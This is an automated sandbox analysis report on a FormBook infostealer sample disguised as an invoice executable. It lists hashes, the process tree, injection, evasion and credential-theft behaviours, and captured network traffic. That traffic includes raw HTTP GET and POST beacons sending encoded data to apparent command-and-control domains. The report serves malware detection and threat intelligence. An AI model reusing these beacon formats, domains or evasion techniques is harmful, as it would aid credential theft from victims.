Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
19387759999PO-RFQ-INVOICE-doc.exe

Overview

General Information

Sample name:19387759999PO-RFQ-INVOICE-doc.exe
Analysis ID:1542201
MD5:a60e9acca14bfdc154e146cd6749bafb
SHA1:e39557f156dcd658fbce8e74a041f3df5cbb830b
SHA256:4bf3107873de403932e29874566202fbd90512b8adff6205bb187417bc394a3b
Tags:exeuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • 19387759999PO-RFQ-INVOICE-doc.exe (PID: 4028 cmdline: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe" MD5: A60E9ACCA14BFDC154E146CD6749BAFB)
    • svchost.exe (PID: 1892 cmdline: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • yCokjJdvaMLab.exe (PID: 2972 cmdline: "C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • sxstrace.exe (PID: 1276 cmdline: "C:\Windows\SysWOW64\sxstrace.exe" MD5: 209969CD31095C47FFB25959B10917F3)
          • yCokjJdvaMLab.exe (PID: 3496 cmdline: "C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 3920 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000002.2300395624.0000000005ED0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000006.00000002.3930347018.0000000004DE0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000002.00000002.2293797981.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000005.00000002.3928315722.0000000004050000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000005.00000002.3927412255.0000000002570000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe", CommandLine: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe", ParentImage: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe, ParentProcessId: 4028, ParentProcessName: 19387759999PO-RFQ-INVOICE-doc.exe, ProcessCommandLine: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe", ProcessId: 1892, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe", CommandLine: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe", ParentImage: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe, ParentProcessId: 4028, ParentProcessName: 19387759999PO-RFQ-INVOICE-doc.exe, ProcessCommandLine: "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe", ProcessId: 1892, ProcessName: svchost.exe

                Suricata Signatures

                ⊘No Suricata rule has matched

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: 19387759999PO-RFQ-INVOICE-doc.exeAvira: detected
                Multi AV Scanner detection for submitted file
                Source: 19387759999PO-RFQ-INVOICE-doc.exeReversingLabs: Detection: 50%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.2300395624.0000000005ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3930347018.0000000004DE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2293797981.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3928315722.0000000004050000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3927412255.0000000002570000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3927066611.0000000000120000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.2294470573.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.3928342206.00000000026C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: 19387759999PO-RFQ-INVOICE-doc.exeJoe Sandbox ML: detected
                Source: 19387759999PO-RFQ-INVOICE-doc.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: yCokjJdvaMLab.exe, 00000003.00000002.3927452243.00000000008BE000.00000002.00000001.01000000.00000004.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3927763871.00000000008BE000.00000002.00000001.01000000.00000004.sdmp
                Source: Binary string: sxstrace.pdb source: svchost.exe, 00000002.00000003.2262513548.000000000082B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2262497869.000000000081A000.00000004.00000020.00020000.00000000.sdmp, yCokjJdvaMLab.exe, 00000003.00000002.3927801515.0000000000998000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sxstrace.pdbGCTL source: svchost.exe, 00000002.00000003.2262513548.000000000082B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2262497869.000000000081A000.00000004.00000020.00020000.00000000.sdmp, yCokjJdvaMLab.exe, 00000003.00000002.3927801515.0000000000998000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdbUGP source: 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110066663.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110307380.0000000004710000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2182276050.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2294060571.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2183981666.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2294060571.0000000003000000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000003.2301973753.0000000004106000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3928532637.000000000444E000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3928532637.00000000042B0000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000003.2300320625.0000000003F56000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110066663.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110307380.0000000004710000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2182276050.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2294060571.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2183981666.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2294060571.0000000003000000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, sxstrace.exe, 00000005.00000003.2301973753.0000000004106000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3928532637.000000000444E000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3928532637.00000000042B0000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000003.2300320625.0000000003F56000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: sxstrace.exe, 00000005.00000002.3927487929.00000000025F4000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3929016472.00000000048DC000.00000004.10000000.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.00000000029AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2591250492.000000002D25C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: sxstrace.exe, 00000005.00000002.3927487929.00000000025F4000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3929016472.00000000048DC000.00000004.10000000.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.00000000029AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2591250492.000000002D25C000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0013C7F0 FindFirstFileW,FindNextFileW,FindClose,5_2_0013C7F0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 4x nop then xor eax, eax5_2_00129E00
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 4x nop then mov ebx, 00000004h5_2_041404E5

                Networking

                barindex
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.mtmc.xyz
                Source: DNS query: www.zonguldakescortg.xyz
                Source: DNS query: www.deepfy.xyz
                Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
                Source: Joe Sandbox ViewIP Address: 69.57.163.227 69.57.163.227
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
                Source: global trafficHTTP traffic detected: GET /jb8r/?zB=nPlhZPwp4vxtG8&fnr=TDGhLsnTem6euQMJN5SR1/vZdrcnvuH3b9u1dtlDKX98DypGfRzLoU+4CmaNhp/imi4raGrWIiVLyDJ0KU439EqI/67TVpzwQnGnuy5SUsP/vsjsUPAeQFmfLp6fskgf8w== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.caprinaday.netUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /3t8r/?fnr=GmJHH11THV754GLh1e+uGyXAfoJstEB/7OnRRGUoNkES+x2V1WUnrUWHQhN+48XxciZvCUdLq/B6CDXyhJw9VEf0qWdUGznzgMuLodZT4GMyHLlyJDFPSTPHjoYfXAoQyg==&zB=nPlhZPwp4vxtG8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.73613.shopUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /jc0n/?fnr=UytrD6wFvNa/vd3tNcDpO0k23ldkh+9c2vjZxgEGoBYX1NL5i6yWC4ILK4/wl2RatjNzkpyfmbhhWAPDZLF3nPKCZUB+Okfg3nepk0LcHs6ly/hw/A8iP8B2IOy1BVLDog==&zB=nPlhZPwp4vxtG8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.innovate.dentalUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /5vx4/?fnr=F+Q/oi234QE9d1QgEcEi+8CLFMRKH2CotIb8Eb0mZz7PQFsfcMkN+a65D20t3vo+fBRr+scjRqvPSZwCIZrexxCQral+mRRCObwZ0cvT/OJZhdhweNlw79x8dxwhge2Ykg==&zB=nPlhZPwp4vxtG8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.senova.netUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /t37h/?zB=nPlhZPwp4vxtG8&fnr=YU6Xr4zdmUr2DEnYSgTnPMRVMOxIdaj0jdxM9ul8ndvQYIWnd4GUQ+Xn64ceDqObkWjKSdqZ8fty4cyLHm2yzIJXTwlu9sUUeWuTYEIJMkPa6/ogidnqUaWGyS18qGeRjQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.moneta.lifeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /qee5/?fnr=7ZF0pGz5jUnQRg2w4B3wHZ2PBCBTGvudgr1Ca7xOEOc+LbGqR6hjP08XlBebaNnqF6LUXwzP/jRwM7RCYPJKgPSIkm+P+1uad6burAp3nXvIVaqBzphG7ctZqBLd/mSR7Q==&zB=nPlhZPwp4vxtG8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.mtmc.xyzUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /483l/?fnr=fbygzoGQ0b2DTciT6qLttgnenBXixzIHNdtp2cltw1BqOYCi94d7GAXkvVySQjnabTNG8v2M8q8xxQCbjzIxxI8jsCFcHmVczxN1vcYZcTvKID7QjtUtIlEekhJgmwZxKw==&zB=nPlhZPwp4vxtG8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.zonguldakescortg.xyzUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /mipl/?fnr=lRUFXpYjO5q84N9UkCGCO24w8oR/koPhxcxzxzitN5IYx+SIWxEUF/bj6C0LBRGaoCOywj79BmwDbV6d+X970LpFtaNi7FficGXlWXO0bk7GSQJjtCBX9J2so925KOiQKQ==&zB=nPlhZPwp4vxtG8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.deepfy.xyzUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /swpt/?fnr=CZYyBcnMjf4Fjmdiq4CBxFYAftffdCb3ZfpkOftaKt3PmsveXPVxonRLGhXPrFCyh4AODr2E7Q9lR0PgaleL9rNk3NUoaelocwRAetJ1fxaiRsqZQNo6trGPhmdFKViBkg==&zB=nPlhZPwp4vxtG8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.yhh5.oneUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /no8n/?fnr=lLbrB6Bvnx3/JIpslXODOLpgr0SvB4V+j54LwYHC6p+Y8c2Axs+n19k1wJ3Kl/hAKng4WeF60cdaP9fx7IaVrzYE9OAnryoKoSrX+qg0DatQasvbipewgLaCCA418y5JUQ==&zB=nPlhZPwp4vxtG8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.theawareness.shopUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficHTTP traffic detected: GET /rkra/?zB=nPlhZPwp4vxtG8&fnr=JnQ90+2tPZf1Nw696jxVVfc1gIvKsjbxoK0oRBT7W8xrHz9Kq2mPdQqP01ufLtUvzypfXqYRP3fqM6TnVzQwHD4WCkJatv+NI2f387N2qYjySJIXyUF0LCKUQhPDzb+lYQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.co2cartridges.netUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                Source: global trafficDNS traffic detected: DNS query: www.caprinaday.net
                Source: global trafficDNS traffic detected: DNS query: www.73613.shop
                Source: global trafficDNS traffic detected: DNS query: www.innovate.dental
                Source: global trafficDNS traffic detected: DNS query: www.senova.net
                Source: global trafficDNS traffic detected: DNS query: www.moneta.life
                Source: global trafficDNS traffic detected: DNS query: www.mtmc.xyz
                Source: global trafficDNS traffic detected: DNS query: www.zonguldakescortg.xyz
                Source: global trafficDNS traffic detected: DNS query: www.deepfy.xyz
                Source: global trafficDNS traffic detected: DNS query: www.yhh5.one
                Source: global trafficDNS traffic detected: DNS query: www.theawareness.shop
                Source: global trafficDNS traffic detected: DNS query: www.co2cartridges.net
                Source: unknownHTTP traffic detected: POST /3t8r/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 204Cache-Control: max-age=0Host: www.73613.shopOrigin: http://www.73613.shopReferer: http://www.73613.shop/3t8r/User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Data Raw: 66 6e 72 3d 4c 6b 68 6e 45 44 56 43 51 33 36 61 36 6c 69 6d 34 39 37 45 49 69 72 7a 53 61 67 63 78 52 73 78 39 59 6a 6e 58 51 55 6d 46 58 64 35 38 6b 61 38 2b 77 39 69 31 56 76 61 66 41 74 63 30 4e 62 69 5a 48 39 52 57 45 5a 73 6d 70 4d 59 4c 46 43 77 6f 6f 49 34 61 47 43 66 70 42 35 64 4a 79 4f 58 71 66 72 79 78 65 31 33 35 55 45 2f 4c 36 4e 4a 43 7a 68 54 50 78 75 65 6b 2f 45 38 61 67 6c 50 6b 36 49 55 50 45 38 76 47 52 69 6d 79 74 4a 59 37 4e 65 4c 37 6b 74 75 4c 75 77 69 2f 79 42 6b 4f 6a 66 69 32 63 66 75 41 45 70 43 64 79 36 6d 62 6c 79 45 4d 75 62 6f 6a 46 58 46 4a 34 50 30 35 42 53 70 38 31 6f 3d Data Ascii: fnr=LkhnEDVCQ36a6lim497EIirzSagcxRsx9YjnXQUmFXd58ka8+w9i1VvafAtc0NbiZH9RWEZsmpMYLFCwooI4aGCfpB5dJyOXqfryxe135UE/L6NJCzhTPxuek/E8aglPk6IUPE8vGRimytJY7NeL7ktuLuwi/yBkOjfi2cfuAEpCdy6mblyEMubojFXFJ4P05BSp81o=
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Fri, 25 Oct 2024 14:53:23 GMTConnection: closeContent-Length: 5115Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 